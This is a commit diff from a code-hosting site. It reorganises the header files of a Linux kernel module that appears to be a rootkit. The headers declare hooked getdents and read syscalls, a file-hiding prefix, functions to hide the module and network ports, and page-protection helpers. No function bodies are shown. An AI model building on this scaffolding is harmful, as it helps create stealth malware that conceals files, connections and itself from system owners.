OutSourcing

dev_vlr
Valentin Lechner 5 years ago
parent c897df31ec
commit 6ad05f1c20

@ -17,12 +17,48 @@
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/*******************************************************************************/
#ifndef SRC_HEADERS_637d3n75_H
#define SRC_HEADERS_637d3n75_H
/**** var ********************************************************************
/**** include ****************************************************************
*******************************************************************************/
sys_getdents_t sys_getdents_orig = NULL;
#include <linux/module.h>
#include <asm/special_insns.h>
#include <linux/string.h>
#include <linux/fs.h>
#include "5y563n.h"
#define HIDE_PREFIX "8008135."
#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX) - 1)
#define MODULE_NAME "8008135"
#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1)
#define __NR_getdents 78
/**** type ********************************************************************
******************************************************************************/
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
typedef asmlinkage long (*sys_getdents_ptr)(unsigned int fd,
struct linux_dirent __user *dirent,
unsigned int count);
/*** var ********************************************************************
*******************************************************************************/
extern sys_getdents_ptr sys_getdents_orig;
extern asmlinkage long sys_getdents_new(unsigned int fd,

@ -18,16 +18,24 @@
*/
#ifndef SRC_HEADERS_8008135_H
#define SRC_HEADERS_8008135_H
/**** Includes ***************************************************************
*******************************************************************************/
#include "637d3n75.h"
#include "50ck3t.h"
#include "h1d3m0dul3.h"
#include "h1d3p0r7.h"
#include "p463unpr073c7.h"
// To set module data
#include <linux/module.h>
// To communicate kernel
#include <linux/kernel.h>
/*
#include <linux/kallsyms.h>
#include <asm/special_insns.h>
#include <linux/string.h>
#include <linux/fs.h>
#include "5y563n.h"
#include <linux/fs.h>
#include <linux/fdtable.h>
#include <linux/net.h>
#include <linux/seq_file.h>
@ -36,18 +44,10 @@
#include <linux/version.h>
#include <net/tcp.h>
#include <net/udp.h>
*/
/**** Defines *****************************************************************
*******************************************************************************/
#define GETDENTS_SYSCALL_NUM 78
#define READ_SYSCALL_NUM 0
#define HIDE_PREFIX "8008135."
#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX) - 1)
#define MODULE_NAME "8008135"
#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1)
/**** Modinfo ****************************************************************
*******************************************************************************/
@ -57,18 +57,5 @@ MODULE_AUTHOR("JanKoernerEnterprises");
MODULE_DESCRIPTION("8008135");
MODULE_VERSION("0.1");
/**** type *******************************************************************
*******************************************************************************/
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen; // d_reclen is the way to tell the length of this entry
char d_name[1]; // the struct value is actually longer than this, and d_name is variable width.
};
typedef asmlinkage long (*sys_getdents_t)(unsigned int fd,
struct linux_dirent __user *dirent,
unsigned int count);
typedef asmlinkage long (*read_ptr)(unsigned int fd, char __user *buf,
size_t count);
#endif

@ -21,6 +21,10 @@
#define SRC_HEADERS_h1d3m0dul3_H
#include <linux/module.h>
#include <linux/kernel.h>
extern void hide_module(void);
#endif

@ -20,12 +20,39 @@
#ifndef SRC_HEADERS_h1d3p0r7_H
#define SRC_HEADERS_h1d3p0r7_H
/**** includes ****************************************************************
*******************************************************************************/
#include "50ck3t.h"
/* are those really all needed? */
#include <linux/fs.h>
#include <linux/fdtable.h>
#include <linux/net.h>
#include <linux/seq_file.h>
#include <linux/slab.h>
#include <linux/socket.h>
#include <linux/version.h>
#include <net/tcp.h>
#include <net/udp.h>
#define __NR_read 0
typedef asmlinkage long (*sys_read_ptr)(unsigned int fd,
char __user *buf,
size_t count);
/**** var **********************************************************************
*******************************************************************************/
read_ptr orig_read;
extern asmlinkage long hacked_read(unsigned int fd, char __user *buf,
size_t count)
extern sys_read_ptr sys_read_orig;
extern asmlinkage long sys_read_fake(unsigned int fd, char __user *buf,
size_t count);
#endif

@ -20,6 +20,8 @@
#ifndef SRC_HEADERS_p463unpr073c7_H
#define SRC_HEADERS_p463unpr073c7_H
#include <linux/module.h>
#include "asm/special_insns.h"
/**** defines *****************************************************************
*******************************************************************************/

Loading…
Cancel
Save